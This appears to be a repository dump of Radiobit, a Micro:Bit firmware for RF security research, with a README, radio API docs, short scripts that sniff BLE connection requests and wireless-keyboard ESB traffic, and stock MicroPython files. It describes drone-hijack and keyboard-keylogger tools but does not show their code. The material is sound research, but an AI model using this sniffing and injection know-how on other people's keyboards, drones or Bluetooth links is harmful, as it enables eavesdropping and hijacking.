[
  {
    "path": ".gitignore",
    "content": "# ignore Micropython build firmware\nmicropython/build/\n\n# ignore Micropython yotta_modules\nmicropython/yotta_modules/\n\n# ignore Micropython yotta_targets\nmicropython/yotta_targets/\nmicropython/.yotta*\n\n# ignore compiled Python modules\n*.pyc\n\n# ignore our virtualenv\nvenv\n"
  },
  {
    "path": "README.md",
    "content": "Radiobit, a BBC Micro:Bit RF firmware\n=====================================\n\nIntroduction\n------------\n\nRadiobit is composed of a dedicated Micropython-based firmware and a set of tools allowing security researchers to:\n\n* sniff, receive and send data over Nordic's Enhanced ShockBurst protocol (ESB)\n* sniff, receive and send data over Nordic' ShockBurst protocol (SB)\n* sniff, receive and send data over Bluetooth Smart Link Layer\n* sniff raw 2.4GHz GFSK demodulated data\n\nUsing Radiobit tools and examples\n---------------------------------\n\nRadiobit provides the following tools:\n\n* **ubit-sniffer**: a ESB/SB/BLE/raw sniffer able to collect data and display them.\n* **cheerson-cx10**: the firmware corresponding to the hack described in my DefCon25 presentation, used to hijack a Cheerson CX-10 quadcopter in flight.\n* **wireless-keylogger**: Microsoft wireless keyboard sniffer firmware, as shown at DefCon25\n\nSee the corresponding README.md files for each tool of the *tools* directory.\n\nRadiobit also provides many examples of what can be achieved with its firmware:\n\n* A BLE advertiser and its associated sniffer\n* A BLE connection request packet sniffer\n* An ESB basic sniffer running on the Micro:Bit\n\n**A precompiled version of the Radiobit firmware is provided in the *precompiled* directory, as a convenience.**\n\nIf you want to try Radiobit's custom radio Python module, read the [specific documentation](doc/README.md).\n\nHow to program the Micro:Bit with some Python code\n--------------------------------------------------\n\nUse *uflash* to program your Micro:Bit:\n\n1. Plug your Micro:Bit to your computer with a USB cable, it will be recognised as a mass storage device\n2. Mount it\n3. Use uflash to merge the firmware with your main Python3 program and flash the device\n\n```\n$ uflash -r precompiled/radiobit.hex yourprogramhere.py\n```\n\n*Uflash* will program your Micro:Bit and reset it once it's done !\n\nRecompiling the firmware\n------------------------\n\nIf you want to modify the Radiobit firmware, you must follow the procedure below. This procedure has been tested on Debian, but should work on Ubuntu as well.\n\n### How to setup the environment\n\nFirst, install all the required packages (Debian):\n\n```\n$ sudo apt-get install cmake ninja-build gcc-arm-none-eabi srecord libssl-dev\n```\n\nCreate a virtual environment with *virtualenv* for Python 3.x:\n\n```\n$ virtualenv venv\n```\n\nThis will create a Python3.x virtual environment in a dedicated folder named *venv*. You then need\nto activate this environment in order to install all the required tools with pip3.\n\n```\n$ source venv/bin/activate\n```\n\nUse pip to install **yotta** in our newly created virtual environment:\n\n```\n(venv)$ pip install yotta\n```\n\nFinally, use **yotta** to setup the build environment:\n\n```\n(venv)$ cd micropython\n(venv)$ yt target bbc-microbit-classic-gcc-nosd\n(venv)$ yt up\n```\n\n### How to build the firmware\n\nYou can now uild the modified micropython firmware. Make sure you are in the *micropython* directory:\n\n```\n(venv)$ yt build\n```\n\nThis may produce a lot of warnings (who said python developers produce clean code ?) but at last a valid binary (in Ihex format).\n\nYour compiled firmware should be located in the *build/bbc-microbit-classic-gcc-nosd/source* directory, named *microbit-micropython.hex*.\n\n### How to flash a Micro:Bit with this new firmware\n\nMicropython should not be used alone (as a REPL), but combined with a Python script merged into the firmware. This is a usual way to *program* a Micro:Bit using CLI rather than online services.\n\nFirst, you need to install **uflash** in your virtual environment:\n\n```\n(venv)$ pip install uflash\n```\n\nYou then can use **uflash** to flash your Micro:Bit using the following command:\n\n```\n(venv)$ uflash -r build/bbc-microbit-classic-gcc-nosd/source/microbit-micropython.hex ../examples/helloworld/helloworld.py\n```\n\nObviously, you must have your Micro:Bit connected to your host machine when launching the previous command, or *uflash* will complain.\n"
  },
  {
    "path": "doc/README.md",
    "content": "How to use Radiobit's radio module ?\n====================================\n\nRadiobit's *radio* module exposes multiple methods allowing sniffing, receiving and injecting\nESB/SB/BLE packets.\n\nSniffing ESB/SB packets\n-----------------------\n\nIf you want to sniff Enhanced ShockBurst packets, you need to enable the radio\nand activate the sniffing mode, as shown below:\n\n``` python\nimport radio\n\nradio.on()\nradio.sniff_on()\n```\n\nYou may then want to loop over each sniffed packets:\n\n``` python\nwhile True:\n    pkt = radio.sniff()\n    if pkt is not None:\n        # do something with the pkt\n```\n\nThe sniffing algorithm tries by default to find ESB packets rather than SB packets, but you may use raw sniffing to get them:\n\n``` python\nimport radio\n\nradio.on()\nradio.config(raw=1, length=40, channel=80)\nradio.sniff_on()\n\nwhile True:\n    pkt = radio.sniff()\n    if pkt is not None:\n        # pkt should be either ESB or SB, as no CRC check is made\n        # you have to sort it out and find your SB packets :S\n```\n\nThis raw sniffing feature may also be used to investigate unknown protocols, as it operates as a simple GFSK demodulator using a specific data rate.\n\n\nReceiving ESB packets\n---------------------\n\nIn order to receive ESB packets, you need to tune the transceiver to a specific channel and set\na 5-byte address as shown below:\n\n``` python\nimport radio\n\nradio.on()\n\n# Listen on channel 80 for address 0x1122334455\nradio.config(channel=80, address=0x11223344, group=0x55)\nradio.esb()\n```\n\nThe received packets can then be processed:\n\n``` python\npkt = radio.receive_bytes()\nif pkt is not None:\n    # process packet\n```\n\nSending ESB packets\n---------------------\n\nYou may also want to send packets:\n\n``` python\nradio.send_bytes(b'Trolololo')\n```\n\n\nReceiving SB packets\n--------------------\n\nIn order to receive Legacy SB packets, you need to tune the transceiver to a specific channel and set\na 5-byte address as shown below:\n\n``` python\nimport radio\n\nradio.on()\n\n# Listen on channel 80 for address 0x1122334455, packet size of 10 bytes\nradio.config(channel=80, address=0x11223344, group=0x55, length=10)\nradio.sb()\n```\n\nNote the packet size is mandatory when using ShockBurst (SB) procotol, as the packet format\ncontains no length field. By default, the length used is 32.\n\nThe received packets can then be processed the usual way, by calling *radio.receive_bytes()*:\n\n``` python\npkt = radio.receive_bytes()\nif pkt is not None:\n    # process packet\n```\n"
  },
  {
    "path": "examples/ble-advertiser/advertise.py",
    "content": "\"\"\"\nBLE advertising example\n\nThis example uses a little hack to send BLE scan responses\nin time: it sends it straight forward even if not required.\n\"\"\"\nfrom microbit import *\nimport radio\n\nadv_pkt = bytes([0x40, 0x42, 0xd8, 0x2a, 0x41, 0x32, 0x65,0x02, 0x01, 0x1a, 0x09, 0x09])+b'DEFCON25'\nscan_rsp = bytes([0x44, 0x42, 0xd8, 0x2a, 0x41, 0x32, 0x65, 0x03, 0xff,0x12,0x13])\nradio.on()\nradio.config(channel=38)\nradio.ble()\nwhile True:\n    for  i in range(37,40):\n        radio.config(channel=i)\n        radio.send(adv_pkt)\n        radio.send(scan_rsp)\n        sleep(50)\n"
  },
  {
    "path": "examples/ble-advertiser/sniffer.py",
    "content": "from microbit import *\nimport radio\n\nradio.on()\nradio.config(channel=38)\nradio.ble()\n\nwhile True:\n    pkt = radio.receive_bytes()\n    if pkt is not None:\n        if len(pkt) > 13:\n            addr = '%02x:%02x:%02x:%02x:%02x:%02x' % (\n                pkt[13], pkt[12], pkt[11], pkt[10], pkt[9], pkt[8]\n            )\n            advinfo = ' '.join(['%02x'%c for c in pkt[14:]])\n            print('+ %s > %s' % (addr, advinfo))\n            del advinfo\n            del addr\n            del pkt\n"
  },
  {
    "path": "examples/ble-conn-sniffing/sniff_conn.py",
    "content": "\"\"\"\nThis script simply loops on advertising channels and\nsniffs BLE connection requests.\n\"\"\"\nimport radio\nfrom microbit import *\n\nradio.on()\nradio.ble()\ntimeout = 50\nlast = running_time()\nchan = 0\n\nwhile True:\n    if (running_time() - last) >= timeout:\n        chan = (chan+1)%3\n        radio.config(channel=(chan+37))\n        last = running_time()\n    p = radio.receive()\n    if p is not None and p[5]&0x0F == 5 and p[6]==0x22:\n        #print(' '.join(['%02x'%c for c in p]))\n        payload = p[8:]\n        pl =  ' '.join(['%02x' % c for c in payload])\n        print(pl)\n        # parse connect_req\n        inita = ':'.join(['%02x'%c for c in payload[:6]])\n        adva = ':'.join(['%02x'%c for c in payload[6:12]])\n        aa = payload[12] | payload[13]<<8 | payload[14]<<16 |payload[15]<<24\n        crcinit = (payload[16])|(payload[17]<<8)|(payload[18]<<16)\n        hop_increment = (payload[33]&0x1f)\n        hop_interval = payload[22] | payload[23]<<8\n\n        print('[%08x] %s -> %s (CRCInit: %06x, hopInc: %d, hopInter: %d)' % (aa, inita, adva, crcinit, hop_increment, hop_interval))\n"
  },
  {
    "path": "examples/esb-sample-sniff.py/wireless-keyboard-sniff.py",
    "content": "\"\"\"\nQuick'n'dirty ESB sniffer listening on channel 74 at 2MBit/s\n\"\"\"\nimport radio\n\nradio.on()\nradio.config(data_rate=radio.RATE_2MBIT, channel=74)\nradio.sniff_on()\n\nwhile True:\n    pkt = radio.sniff()\n    if pkt is not None:\n        addr = ':'.join(['%2x'%c for c in pkt[:5]])\n        payload = ''.join(['%02x '%c for c in pkt[5:]])\n        print('%s > %s' % (addr, payload))\n"
  },
  {
    "path": "examples/helloworld/helloworld.py",
    "content": "import microbit\n\nmicrobit.display.scroll('Hello world !')\n"
  },
  {
    "path": "micropython/.gitignore",
    "content": ".yotta.json\nbuild/*\nyotta_modules/*\nyotta_targets/*\n*.swp\n__pycache__\n\n# This file is generated by the build process\ninc/genhdr/microbitversion.h\n"
  },
  {
    "path": "micropython/AUTHORS",
    "content": "Damien P. George (@dpgeorge)\nNicholas H. Tollervey (@ntoll)\nMatthew Else (@matthewelse)\nAlan M. Jackson (@alanmjackson)\nMark Shannon (@markshannon)\nLarry Hastings (@larryhastings)\nMariia Koroliuk (@marichkakorolyuk)\nAndrew Mulholland (@gbaman)\nJoe Glancy (@JoeGlancy)\n"
  },
  {
    "path": "micropython/LICENSE",
    "content": "The MIT License (MIT)\n\nCopyright (c) 2013-2016 The MicroPython-on-micro:bit Developers, as listed\nin the accompanying AUTHORS file\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n"
  },
  {
    "path": "micropython/Makefile",
    "content": "ECHO = @echo\n\nHEX_SRC = build/bbc-microbit-classic-gcc-nosd/source/microbit-micropython.hex\nHEX_FINAL = build/firmware.hex\nMBIT_VER_FILE = inc/genhdr/microbitversion.h\nVER_ADDR_FILE = build/veraddr.txt\n\nall: $(HEX_FINAL)\n\n# Anything that depends on FORCE will be considered out-of-date\nFORCE:\n.PHONY: FORCE\n\n$(HEX_FINAL): yotta $(VER_ADDR_FILE)\n\ttools/adduicr.py $(HEX_SRC) $$(cat $(VER_ADDR_FILE)) -o $(HEX_FINAL)\n\t@size $(HEX_SRC:.hex=)\n\nyotta: $(MBIT_VER_FILE)\n\t@yt build\n\n$(MBIT_VER_FILE): FORCE\n\tpython tools/makeversionhdr.py $(MBIT_VER_FILE)\n\n$(VER_ADDR_FILE): yotta\n\t@echo -n \"0x\" > $(VER_ADDR_FILE)\n\t@objdump -x $(HEX_SRC:.hex=) | grep microbit_version_string | cut -f 1 -d' ' >> $(VER_ADDR_FILE)\n\ndeploy: $(HEX_FINAL)\n\t$(ECHO) \"Deploying $<\"\n\t@mount /dev/sdb\n\t@sleep 1s\n\t@cp $< /mnt/\n\t@sleep 1s\n\t@umount /mnt\n\nserial:\n\t@picocom /dev/ttyACM0 -b 115200\n"
  },
  {
    "path": "micropython/README.md",
    "content": "MicroPython for the BBC micro:bit\n=================================\n\nThis is the source code for MicroPython running on the BBC micro:bit!\n\nTo get involved with the micro:bit community join the Slack channel by signing up here:\nhttps://tech.microbit.org/get-involved/where-to-find/\n\nVarious things are in this repository, including:\n- Source code in source/ and inc/ directories.\n- Example Python programs in the examples/ directory.\n- Tools in the tools/ directory.\n\nThe source code is a yotta application and needs yotta to build, along\nwith an ARM compiler toolchain (eg arm-none-eabi-gcc and friends).\n\nUbuntu users can install the needed packages using:\n```\nsudo add-apt-repository -y ppa:team-gcc-arm-embedded\nsudo add-apt-repository -y ppa:pmiller-opensource/ppa\nsudo apt-get update\nsudo apt-get install cmake ninja-build gcc-arm-none-eabi srecord libssl-dev\npip3 install yotta\n```\n\nOnce all packages are installed, use yotta and the provided Makefile to build.\nYou might need need an Arm Mbed account to complete some of the yotta commands,\nif so, you could be prompted to create one as a part of the process.\n\n- Use target bbc-microbit-classic-gcc-nosd:\n\n  ```\n  yt target bbc-microbit-classic-gcc-nosd\n  ```\n\n- Run yotta update to fetch remote assets:\n\n  ```\n  yt up\n  ```\n\n- Start the build:\n\n  ```\n  make all\n  ```\n\nThe resulting firmware.hex file to flash onto the device can be\nfound in the build/ directory from the root of the repository.\n\nThe Makefile provided does some extra preprocessing of the source,\nadds version information to the UICR region, puts the resulting\nfirmware at build/firmware.hex, and includes some convenience targets.\n\nHow to use\n==========\n\nUpon reset you will have a REPL on the USB CDC serial port, with baudrate\n115200 (eg picocom /dev/ttyACM0 -b 115200).\n\nThen try:\n\n    >>> import microbit\n    >>> microbit.display.scroll('hello!')\n    >>> microbit.button_a.is_pressed()\n    >>> dir(microbit)\n\nTab completion works and is very useful!\n\nRead our documentation here:\n\nhttps://microbit-micropython.readthedocs.io/en/latest/\n\nYou can also use the tools/pyboard.py script to run Python scripts directly\nfrom your PC, eg:\n\n    $ ./tools/pyboard.py /dev/ttyACM0 examples/conway.py\n\nBe brave! Break things! Learn and have fun!\n"
  },
  {
    "path": "micropython/config.json",
    "content": "{\n    \"microbit\" : {\n        \"configfile\" : \"inc/microbit/MicroBitCustomConfig.h\"\n    }\n}\n"
  },
  {
    "path": "micropython/docs/Makefile",
    "content": "# Makefile for Sphinx documentation\n#\n\n# You can set these variables from the command line.\nSPHINXOPTS    =\nSPHINXBUILD   = sphinx-build\nPAPER         =\nBUILDDIR      = _build\n\n# User-friendly check for sphinx-build\nifeq ($(shell which $(SPHINXBUILD) >/dev/null 2>&1; echo $$?), 1)\n$(error The '$(SPHINXBUILD)' command was not found. Make sure you have Sphinx installed, then set the SPHINXBUILD environment variable to point to the full path of the '$(SPHINXBUILD)' executable. Alternatively you can add the directory with the executable to your PATH. If you don't have Sphinx installed, grab it from http://sphinx-doc.org/)\nendif\n\n# Internal variables.\nPAPEROPT_a4     = -D latex_paper_size=a4\nPAPEROPT_letter = -D latex_paper_size=letter\nALLSPHINXOPTS   = -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) .\n# the i18n builder cannot share the environment and doctrees with the others\nI18NSPHINXOPTS  = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) .\n\n.PHONY: help clean html dirhtml singlehtml pickle json htmlhelp qthelp devhelp epub latex latexpdf text man changes linkcheck doctest gettext\n\nhelp:\n\t@echo \"Please use \\`make <target>' where <target> is one of\"\n\t@echo \"  html       to make standalone HTML files\"\n\t@echo \"  dirhtml    to make HTML files named index.html in directories\"\n\t@echo \"  singlehtml to make a single large HTML file\"\n\t@echo \"  pickle     to make pickle files\"\n\t@echo \"  json       to make JSON files\"\n\t@echo \"  htmlhelp   to make HTML files and a HTML help project\"\n\t@echo \"  qthelp     to make HTML files and a qthelp project\"\n\t@echo \"  devhelp    to make HTML files and a Devhelp project\"\n\t@echo \"  epub       to make an epub\"\n\t@echo \"  latex      to make LaTeX files, you can set PAPER=a4 or PAPER=letter\"\n\t@echo \"  latexpdf   to make LaTeX files and run them through pdflatex\"\n\t@echo \"  latexpdfja to make LaTeX files and run them through platex/dvipdfmx\"\n\t@echo \"  text       to make text files\"\n\t@echo \"  man        to make manual pages\"\n\t@echo \"  texinfo    to make Texinfo files\"\n\t@echo \"  info       to make Texinfo files and run them through makeinfo\"\n\t@echo \"  gettext    to make PO message catalogs\"\n\t@echo \"  changes    to make an overview of all changed/added/deprecated items\"\n\t@echo \"  xml        to make Docutils-native XML files\"\n\t@echo \"  pseudoxml  to make pseudoxml-XML files for display purposes\"\n\t@echo \"  linkcheck  to check all external links for integrity\"\n\t@echo \"  doctest    to run all doctests embedded in the documentation (if enabled)\"\n\nclean:\n\trm -rf $(BUILDDIR)/*\n\nhtml:\n\t$(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html\n\t@echo\n\t@echo \"Build finished. The HTML pages are in $(BUILDDIR)/html.\"\n\ndirhtml:\n\t$(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml\n\t@echo\n\t@echo \"Build finished. The HTML pages are in $(BUILDDIR)/dirhtml.\"\n\nsinglehtml:\n\t$(SPHINXBUILD) -b singlehtml $(ALLSPHINXOPTS) $(BUILDDIR)/singlehtml\n\t@echo\n\t@echo \"Build finished. The HTML page is in $(BUILDDIR)/singlehtml.\"\n\npickle:\n\t$(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle\n\t@echo\n\t@echo \"Build finished; now you can process the pickle files.\"\n\njson:\n\t$(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json\n\t@echo\n\t@echo \"Build finished; now you can process the JSON files.\"\n\nhtmlhelp:\n\t$(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp\n\t@echo\n\t@echo \"Build finished; now you can run HTML Help Workshop with the\" \\\n\t      \".hhp project file in $(BUILDDIR)/htmlhelp.\"\n\nqthelp:\n\t$(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp\n\t@echo\n\t@echo \"Build finished; now you can run \"qcollectiongenerator\" with the\" \\\n\t      \".qhcp project file in $(BUILDDIR)/qthelp, like this:\"\n\t@echo \"# qcollectiongenerator $(BUILDDIR)/qthelp/BBCMicrobitMicropython.qhcp\"\n\t@echo \"To view the help file:\"\n\t@echo \"# assistant -collectionFile $(BUILDDIR)/qthelp/BBCMicrobitMicropython.qhc\"\n\ndevhelp:\n\t$(SPHINXBUILD) -b devhelp $(ALLSPHINXOPTS) $(BUILDDIR)/devhelp\n\t@echo\n\t@echo \"Build finished.\"\n\t@echo \"To view the help file:\"\n\t@echo \"# mkdir -p $$HOME/.local/share/devhelp/BBCMicrobitMicropython\"\n\t@echo \"# ln -s $(BUILDDIR)/devhelp $$HOME/.local/share/devhelp/BBCMicrobitMicropython\"\n\t@echo \"# devhelp\"\n\nepub:\n\t$(SPHINXBUILD) -b epub $(ALLSPHINXOPTS) $(BUILDDIR)/epub\n\t@echo\n\t@echo \"Build finished. The epub file is in $(BUILDDIR)/epub.\"\n\nlatex:\n\t$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex\n\t@echo\n\t@echo \"Build finished; the LaTeX files are in $(BUILDDIR)/latex.\"\n\t@echo \"Run \\`make' in that directory to run these through (pdf)latex\" \\\n\t      \"(use \\`make latexpdf' here to do that automatically).\"\n\nlatexpdf:\n\t$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex\n\t@echo \"Running LaTeX files through pdflatex...\"\n\t$(MAKE) -C $(BUILDDIR)/latex all-pdf\n\t@echo \"pdflatex finished; the PDF files are in $(BUILDDIR)/latex.\"\n\nlatexpdfja:\n\t$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex\n\t@echo \"Running LaTeX files through platex and dvipdfmx...\"\n\t$(MAKE) -C $(BUILDDIR)/latex all-pdf-ja\n\t@echo \"pdflatex finished; the PDF files are in $(BUILDDIR)/latex.\"\n\ntext:\n\t$(SPHINXBUILD) -b text $(ALLSPHINXOPTS) $(BUILDDIR)/text\n\t@echo\n\t@echo \"Build finished. The text files are in $(BUILDDIR)/text.\"\n\nman:\n\t$(SPHINXBUILD) -b man $(ALLSPHINXOPTS) $(BUILDDIR)/man\n\t@echo\n\t@echo \"Build finished. The manual pages are in $(BUILDDIR)/man.\"\n\ntexinfo:\n\t$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo\n\t@echo\n\t@echo \"Build finished. The Texinfo files are in $(BUILDDIR)/texinfo.\"\n\t@echo \"Run \\`make' in that directory to run these through makeinfo\" \\\n\t      \"(use \\`make info' here to do that automatically).\"\n\ninfo:\n\t$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo\n\t@echo \"Running Texinfo files through makeinfo...\"\n\tmake -C $(BUILDDIR)/texinfo info\n\t@echo \"makeinfo finished; the Info files are in $(BUILDDIR)/texinfo.\"\n\ngettext:\n\t$(SPHINXBUILD) -b gettext $(I18NSPHINXOPTS) $(BUILDDIR)/locale\n\t@echo\n\t@echo \"Build finished. The message catalogs are in $(BUILDDIR)/locale.\"\n\nchanges:\n\t$(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes\n\t@echo\n\t@echo \"The overview file is in $(BUILDDIR)/changes.\"\n\nlinkcheck:\n\t$(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck\n\t@echo\n\t@echo \"Link check complete; look for any errors in the above output \" \\\n\t      \"or in $(BUILDDIR)/linkcheck/output.txt.\"\n\ndoctest:\n\t$(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest\n\t@echo \"Testing of doctests in the sources finished, look at the \" \\\n\t      \"results in $(BUILDDIR)/doctest/output.txt.\"\n\nxml:\n\t$(SPHINXBUILD) -b xml $(ALLSPHINXOPTS) $(BUILDDIR)/xml\n\t@echo\n\t@echo \"Build finished. The XML files are in $(BUILDDIR)/xml.\"\n\npseudoxml:\n\t$(SPHINXBUILD) -b pseudoxml $(ALLSPHINXOPTS) $(BUILDDIR)/pseudoxml\n\t@echo\n\t@echo \"Build finished. The pseudo-XML files are in $(BUILDDIR)/pseudoxml.\"\n"
  },
  {
    "path": "micropython/docs/accelerometer.rst",
    "content": "Accelerometer\n*************\n\n.. py:module:: microbit.accelerometer\n\nThis object gives you access to the on-board accelerometer. The accelerometer\nalso provides convenience functions for detecting gestures. The\nrecognised gestures are: ``up``, ``down``, ``left``, ``right``, ``face up``,\n``face down``, ``freefall``, ``3g``, ``6g``, ``8g``, ``shake``.\n\nBy default MicroPython sets the accelerometer range to +/- 2g, changing the\naccelerometer range is currently not possible in MicroPython.\nThe accelerometer returns a value in the range 0..1024 for each axis, which is\nthen scaled accordingly.\n\nFunctions\n=========\n\n.. py:function:: get_x()\n\n    Get the acceleration measurement in the ``x`` axis, as a positive or\n    negative integer, depending on the direction. The measurement is given in\n    milli-g. By default the accelerometer is configured with a range of +/- 2g,\n    and so this method will return within the range of +/- 2000mg.\n\n.. py:function:: get_y()\n\n    Get the acceleration measurement in the ``y`` axis, as a positive or\n    negative integer, depending on the direction. The measurement is given in\n    milli-g. By default the accelerometer is configured with a range of +/- 2g,\n    and so this method will return within the range of +/- 2000mg.\n\n.. py:function:: get_z()\n\n    Get the acceleration measurement in the ``z`` axis, as a positive or\n    negative integer, depending on the direction. The measurement is given in\n    milli-g. By default the accelerometer is configured with a range of +/- 2g,\n    and so this method will return within the range of +/- 2000mg.\n\n.. py:function:: get_values()\n\n    Get the acceleration measurements in all axes at once, as a three-element\n    tuple of integers ordered as X, Y, Z.\n    By default the accelerometer is configured with a range of +/- 2g, and so\n    X, Y, and Z will be within the range of +/-2000mg.\n\n.. py:function:: current_gesture()\n\n    Return the name of the current gesture.\n\n.. note::\n\n    MicroPython understands the following gesture names: ``\"up\"``, ``\"down\"``,\n    ``\"left\"``, ``\"right\"``, ``\"face up\"``, ``\"face down\"``, ``\"freefall\"``,\n    ``\"3g\"``, ``\"6g\"``, ``\"8g\"``, ``\"shake\"``. Gestures are always\n    represented as strings.\n\n.. py:function:: is_gesture(name)\n\n    Return True or False to indicate if the named gesture is currently active.\n\n.. py:function:: was_gesture(name)\n\n    Return True or False to indicate if the named gesture was active since the\n    last call.\n\n.. py:function:: get_gestures()\n\n    Return a tuple of the gesture history. The most recent is listed last.\n    Also clears the gesture history before returning.\n    \n.. note::\n\n    Gestures are not updated in the background so there needs to be constant \n    calls to some accelerometer method to do the gesture detection. Usually \n    gestures can be detected using a loop with a small :func:`microbit.sleep` delay.\n\nExamples\n--------\n\nA fortune telling magic 8-ball. Ask a question then shake the device for an\nanswer.\n\n.. include:: ../examples/magic8.py\n    :code: python\n\nSimple Slalom. Move the device to avoid the obstacles.\n\n.. include:: ../examples/simple_slalom.py\n    :code: python\n"
  },
  {
    "path": "micropython/docs/audio.rst",
    "content": "Audio\n*******\n\n.. py:module:: audio\n\nThis module allows you play sounds from a speaker attached to the Microbit.\nIn order to use the audio module you will need to provide a sound source.\n\nA sound source is an iterable (sequence, like list or tuple, or a generator) of\nframes, each of 32 samples.\nThe ``audio`` modules plays samples at the rate of 7812.5 samples per second,\nwhich means that it can reproduce frequencies up to 3.9kHz.\n\nFunctions\n=========\n\n.. py:function:: play(source, wait=True, pin=pin0, return_pin=None)\n\n    Play the source to completion.\n\n    ``source`` is an iterable, each element of which must be an ``AudioFrame``.\n\n    If ``wait`` is ``True``, this function will block until the source is exhausted.\n\n    ``pin`` specifies which pin the speaker is connected to.\n\n    ``return_pin`` specifies a differential pin to connect to the speaker\n    instead of ground.\n\nClasses\n=======\n\n.. py:class::\n    AudioFrame\n\n    An ``AudioFrame`` object is a list of 32 samples each of which is a signed byte\n    (whole number between -128 and 127).\n\n    It takes just over 4 ms to play a single frame.\n\nUsing audio\n===========\n\nYou will need a sound source, as input to the ``play`` function. You can generate your own, like in\n``examples/waveforms.py``.\n\n\nTechnical Details\n=================\n\n.. note::\n    You don't need to understand this section to use the ``audio`` module.\n    It is just here in case you wanted to know how it works.\n\nThe ``audio`` module consumes samples at 7812.5 Hz, and uses linear interpolation to\noutput a PWM signal at 32.5 kHz, which gives tolerable sound quality.\n\nThe function ``play`` fully copies all data from each ``AudioFrame`` before it\ncalls ``next()`` for the next frame, so a sound source can use the same ``AudioFrame``\nrepeatedly.\n\nThe ``audio`` module has an internal 64 sample buffer from which it reads samples.\nWhen reading reaches the start or the mid-point of the buffer, it triggers a callback to\nfetch the next ``AudioFrame`` which is then copied into the buffer.\nThis means that a sound source has under 4ms to compute the next ``AudioFrame``,\nand for reliable operation needs to take less 2ms (which is 32000 cycles, so should be plenty).\n\n\nExample\n=======\n\n.. include:: ../examples/waveforms.py\n    :code: python\n\n"
  },
  {
    "path": "micropython/docs/ble.rst",
    "content": "Bluetooth\n*********\n\nWhile the BBC micro:bit has hardware capable of allowing the device to work as\na Bluetooth Low Energy (BLE) device, it only has 16k of RAM. The BLE stack\nalone takes up 12k RAM which means there's not enough memory for MicroPython\nto support Bluetooth.\n\n.. note::\n    MicroPython uses the radio hardware with the :mod:`radio` module. This\n    allows users to create simple yet effective wireless networks of micro:bit\n    devices.\n\n    Furthermore, the protocol used in the :mod:`radio` module is a lot simpler\n    than BLE, making it far easier to use in an educational context.\n"
  },
  {
    "path": "micropython/docs/button.rst",
    "content": "Buttons\n*******\n\n.. py::module:: microbit\n\nThere are two buttons on the board, called ``button_a`` and ``button_b``.\n\nAttributes\n==========\n\n\n.. py:attribute:: button_a\n\n    A ``Button`` instance (see below) representing the left button.\n\n\n.. py:attribute:: button_b\n\n    Represents the right button.\n\n\nClasses\n=======\n\n.. py:class:: Button()\n\n    Represents a button.\n\n    .. note::\n        This class is not actually available to the user, it is only used by\n        the two button instances, which are provided already initialized.\n\n\n    .. py:method:: is_pressed()\n\n        Returns ``True`` if the specified button ``button`` is currently being\n        held down, and ``False`` otherwise.\n\n    .. py:method:: was_pressed()\n\n        Returns ``True`` or ``False`` to indicate if the button was pressed\n        (went from up to down) since the device started or the last time this\n        method was called.  Calling this method will clear the press state so\n        that the button must be pressed again before this method will return\n        ``True`` again.\n\n    .. py:method:: get_presses()\n\n        Returns the running total of button presses, and resets this total\n        to zero before returning.\n\nExample\n=======\n\n.. code::\n\n    import microbit\n\n    while True:\n        if microbit.button_a.is_pressed() and microbit.button_b.is_pressed():\n            microbit.display.scroll(\"AB\")\n            break\n        elif microbit.button_a.is_pressed():\n            microbit.display.scroll(\"A\")\n        elif microbit.button_b.is_pressed():\n            microbit.display.scroll(\"B\")\n        microbit.sleep(100)\n"
  },
  {
    "path": "micropython/docs/compass.rst",
    "content": "Compass\n*******\n\n.. py:module:: microbit.compass\n\nThis module lets you access the built-in electronic compass. Before using,\nthe compass should be calibrated, otherwise the readings may be wrong.\n\n.. warning::\n\n    Calibrating the compass will cause your program to pause until calibration\n    is complete. Calibration consists of a little game to draw a circle on the\n    LED display by rotating the device.\n\n\nFunctions\n=========\n\n.. py:function:: calibrate()\n\n    Starts the calibration process. An instructive message will be scrolled\n    to the user after which they will need to rotate the device in order to\n    draw a circle on the LED display.\n\n.. py:function:: is_calibrated()\n\n    Returns ``True`` if the compass has been successfully calibrated, and\n    returns ``False`` otherwise.\n\n\n.. py:function:: clear_calibration()\n\n    Undoes the calibration, making the compass uncalibrated again.\n\n\n.. py:function:: get_x()\n\n    Gives the reading of the magnetic field strength on the ``x`` axis in nano \n    tesla, as a positive or negative integer, depending on the 